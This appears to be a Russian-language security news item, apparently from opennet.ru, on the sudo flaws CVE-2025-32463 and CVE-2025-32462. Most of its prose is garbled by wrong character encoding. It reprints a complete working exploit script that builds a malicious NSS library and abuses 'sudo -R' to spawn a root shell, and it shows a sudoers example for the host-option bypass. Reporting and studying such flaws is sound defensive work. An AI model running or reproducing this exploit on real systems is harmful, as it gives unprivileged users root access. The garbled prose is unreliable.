Π ΠΏΠ°ΠΊΠ΅ΡΠ΅ sudo, ΠΏΡΠΈΠΌΠ΅Π½ΡΠ΅ΠΌΠΎΠΌ Π΄Π»Ρ ΠΎΡΠ³Π°Π½ΠΈΠ·Π°ΡΠΈΠΈ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΠΊΠΎΠΌΠ°Π½Π΄ ΠΎΡ ΠΈΠΌΠ΅Π½ΠΈ Π΄ΡΡΠ³ΠΈΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ, Π²ΡΡΠ²Π»Π΅Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ (CVE-2025-32463), ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΡΠ°Ρ Π»ΡΠ±ΠΎΠΌΡ Π½Π΅ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠΌΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΠΊΠΎΠ΄ Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ root, Π΄Π°ΠΆΠ΅ Π΅ΡΠ»ΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Π½Π΅ ΡΠΏΠΎΠΌΡΠ½ΡΡ Π² ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ sudoers. ΠΡΠΎΠ±Π»Π΅ΠΌΠ΅ ΠΏΠΎΠ΄Π²Π΅ΡΠΆΠ΅Π½Ρ Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΠ²Ρ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΠΈΠ΅ ΡΠ°ΠΉΠ» ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ /etc/nsswitch.conf, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΠΏΡΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡΡΠΈΡΠΎΠ²Π°Π½Π° Π² Ubuntu 24.04 ΠΈ Fedora 41.
Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡ ΠΏΡΠΎΡΠ²Π»ΡΠ΅ΡΡΡ Π² ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ ΠΈ ΠΏΠΎΠ΄ΡΠ²Π΅ΡΠΆΠ΄Π΅Π½Π° Π² Π²ΡΠΏΡΡΠΊΠ°Ρ sudo Ρ 1.9.14 ΠΏΠΎ 1.9.17 (ΠΏΠΎΡΠ΅Π½ΡΠΈΠ°Π»ΡΠ½ΠΎ Π·Π°ΡΡΠ°Π³ΠΈΠ²Π°Π΅Ρ Π²ΡΠ΅ Π²Π΅ΡΡΠΈΠΈ, Π½Π°ΡΠΈΠ½Π°Ρ Ρ 1.8.33). ΠΡΠΎΠ±Π»Π΅ΠΌΠ° ΡΡΡΡΠ°Π½Π΅Π½Π° Π² ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ sudo 1.9.17p1. ΠΡΠΎΠ²Π΅ΡΠΈΡΡ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ Π½ΠΎΠ²ΠΎΠΉ Π²Π΅ΡΡΠΈΠΈ ΠΏΠ°ΠΊΠ΅ΡΠ° ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Π³ΠΎΡΠΎΠ²ΠΊΠΈ ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ Π² Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΠ²Π°Ρ ΠΌΠΎΠΆΠ½ΠΎ Π½Π° ΡΠ»Π΅Π΄ΡΡΡΠΈΡ ΡΡΡΠ°Π½ΠΈΡΠ°Ρ (Π΅ΡΠ»ΠΈ ΡΡΡΠ°Π½ΠΈΡΠ° Π½Π΅Π΄ΠΎΡΡΡΠΏΠ½Π°, Π·Π½Π°ΡΠΈΡ ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊΠΈ Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΠ²Π° Π΅ΡΡ Π½Π΅ ΠΏΡΠΈΡΡΡΠΏΠΈΠ»ΠΈ ΠΊ ΡΠ°ΡΡΠΌΠΎΡΡΠ΅Π½ΠΈΡ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo ΠΈ Arch (1, 2).
ΠΡΠΎΠ±Π»Π΅ΠΌΠ° Π²ΡΠ·Π²Π°Π½Π° ΡΠ΅ΠΌ, ΡΡΠΎ ΠΏΡΠΈ ΠΏΡΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠΈ ΠΎΠΏΡΠΈΠΈ Β«-RΒ» (Β«βchrootΒ») Π΄Π»Ρ Π·Π°ΠΏΡΡΠΊΠ° ΠΊΠΎΠΌΠ°Π½Π΄ Π² chroot-ΠΎΠΊΡΡΠΆΠ΅Π½ΠΈΠΈ Ρ Π²ΡΠ±ΡΠ°Π½Π½ΡΠΌ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΌ ΠΊΠΎΡΠ½Π΅Π²ΡΠΌ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ΠΎΠΌ, ΡΠ°ΠΉΠ» /etc/nsswitch.conf Π·Π°Π³ΡΡΠΆΠ°Π»ΡΡ Π² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ΅ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠΎΡΠ½Π΅Π²ΠΎΠ³ΠΎ ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π°, Π° Π½Π΅ ΡΠΈΡΡΠ΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π°. Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ ΠΌΠΎΠΆΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΊΠΎΡΠ½Π΅Π²ΠΎΠ³ΠΎ ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π° Π΄Π»Ρ chroot ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΡΠΉ ΠΊΠ°ΡΠ°Π»ΠΎΠ³, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ ΡΠ°Π·ΠΌΠ΅ΡΡΠΈΡΡ Π² Π½ΡΠΌ ΡΠ°ΠΉΠ» ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ nsswitch.conf. ΠΠΎΠ½ΡΡΠΎΠ»ΠΈΡΡΡ Π·Π°Π³ΡΡΠΆΠ°Π΅ΠΌΡΠΉ ΠΏΠΎΠ΄ΡΠΈΡΡΠ΅ΠΌΠΎΠΉ NSS (Name Service Switch) ΡΠ°ΠΉΠ» /etc/nsswitch.conf, ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ ΠΌΠΎΠΆΠ΅Ρ Π΄ΠΎΠ±Π°Π²ΠΈΡΡ Π² Π½Π΅Π³ΠΎ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ, ΠΏΡΠΈΠ²ΠΎΠ΄ΡΡΠΈΠ΅ ΠΊ Π²ΡΠ·ΠΎΠ²Ρ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΡ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠΎΠ². ΠΠΎΠ΄ΠΎΠ±Π½ΡΠ΅ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠΈ Π·Π°Π³ΡΡΠΆΠ°ΡΡΡΡ NSS Π² ΡΠΎΡΠΌΠ΅ ΡΠ°Π·Π΄Π΅Π»ΡΠ΅ΠΌΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊ, ΠΊΠΎΡΠΎΡΡΠ΅ ΡΠ°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ°Π·ΠΌΠ΅ΡΡΠΈΡΡ Π² ΠΏΠΎΠ΄ΠΊΠΎΠ½ΡΡΠΎΠ»ΡΠ½ΠΎΠΌ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π΅. ΠΠΎΠ΄ΡΡΠ°Π²ΠΈΠ² ΡΠ²ΠΎΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ ΠΌΠΎΠΆΠ΅Ρ Π΄ΠΎΠ±ΠΈΡΡΡΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΠΈΠ· Π½Π΅Ρ ΠΊΠΎΠ΄Π° Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ root, ΡΠ°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° NSS ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΡΡ Π΄ΠΎ ΡΠ±ΡΠΎΡΠ° ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ.
ΠΡΠΈΠΌΠ΅Ρ ΡΠΊΡΠΏΠ»ΠΎΠΈΡΠ°: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir(Β«/Β»); execl(Β«/bin/bashΒ», Β«/bin/bashΒ», NULL); } EOF mkdir -p woot/etc libnss_ echo Β«passwd: /woot1337Β» > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo Β«woot!Β» sudo -R woot woot rm -rf ${STAGE?}
Π Π²Π΅ΡΡΠΈΠΈ sudo 1.9.17p1 ΡΠ°ΠΊΠΆΠ΅ ΡΡΡΡΠ°Π½Π΅Π½Π° Π΅ΡΡ ΠΎΠ΄Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ (CVE-2025-32462), ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΡΠ°Ρ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ root, Π½ΠΎ ΠΏΡΠΎΡΠ²Π»ΡΡΡΠ°ΡΡΡ ΡΠΎΠ»ΡΠΊΠΎ Π² ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΡ sudoers, ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡ Β«hostΒ» Π² ΠΊΠΎΡΠΎΡΡΡ Π²ΡΡΡΠ°Π²Π»Π΅Π½ Π² Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅, ΠΎΡΠ»ΠΈΡΠ½ΠΎΠ΅ ΠΎΡ ALL ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Π½ΠΈ ΡΠ΅ΠΊΡΡΠ΅Π³ΠΎ Ρ ΠΎΡΡΠ°. Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π²ΡΠ·Π²Π°Π½Π° ΠΎΡΠΈΠ±ΠΊΠΎΠΉ, ΠΈΠ·-Π·Π° ΠΊΠΎΡΠΎΡΠΎΠΉ ΠΎΠΏΡΠΈΡ Β«-hΒ» (Β«βhostΒ») Π΄Π΅ΠΉΡΡΠ²ΠΎΠ²Π°Π»Π° Π½Π΅ ΡΠΎΠ»ΡΠΊΠΎ Π² ΡΠΎΡΠ΅ΡΠ°Π½ΠΈΠΈ Ρ ΠΎΠΏΡΠΈΠ΅ΠΉ Β«-lΒ» (Β«βlistΒ») Π΄Π»Ρ Π²ΡΠ²ΠΎΠ΄Π° ΠΏΡΠΈΠ²ΡΠ·Π°Π½Π½ΡΡ ΠΊ Ρ ΠΎΡΡΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ, Π½ΠΎ ΠΈ ΠΏΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ ΠΌΠΎΠ³ ΡΠΊΠ°Π·Π°ΡΡ ΠΏΡΠΈ Π²ΡΠ·ΠΎΠ²Π΅ sudo Π»ΡΠ±ΠΎΠΉ Ρ ΠΎΡΡ ΠΈ ΠΎΠ±ΠΎΠΉΡΠΈ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΈΡ ΠΏΡΠ°Π²ΠΈΠ» sudoers, ΠΏΡΠΈΠ²ΡΠ·Π°Π½Π½ΡΡ ΠΊ ΠΈΠΌΠ΅Π½ΠΈ Ρ ΠΎΡΡΠ°.
ΠΠ»Ρ ΡΠΎΠ²Π΅ΡΡΠ΅Π½ΠΈΡ Π°ΡΠ°ΠΊΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΏΠΎΠΌΠΈΠ½Π°ΡΡΡΡ Π² sudoers, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π΅ΡΠ»ΠΈ Π² Π½Π°ΡΡΡΠΎΠΉΠΊΠ°Ρ
ΡΠΊΠ°Π·Π°Π½ΠΎ Β«testuser testhost = ALLΒ», ΡΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Β«testuserΒ» ΠΌΠΎΠ³ ΡΠΊΠ°Π·Π°ΡΡ Β«sudo -h testhostΒ» ΠΈ Π·Π°ΠΏΡΡΡΠΈΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ root Π½Π° Π»ΡΠ±ΡΡ
Ρ
ΠΎΡΡΠ°Ρ
, Π° Π½Π΅ ΡΠΎΠ»ΡΠΊΠΎ Π½Π° Ρ
ΠΎΡΡΠ΅ testhost. Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Π½Π΅ ΠΏΠΎΠ΄Π²Π΅ΡΠΆΠ΅Π½Ρ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ Ρ Π½Π°ΡΡΡΠΎΠΉΠΊΠ°ΠΌΠΈ Π²ΠΈΠ΄Π° Β«testuser ALL = ALLΒ» ΠΈΠ»ΠΈ Π±Π΅Π· ΡΠ²Π½ΡΡ
ΠΏΡΠ°Π²ΠΈΠ» Π΄Π»Ρ ΠΊΠΎΠ½ΠΊΡΠ΅ΡΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ.
ΠΡΡΠΎΡΠ½ΠΈΠΊ: opennet.ru
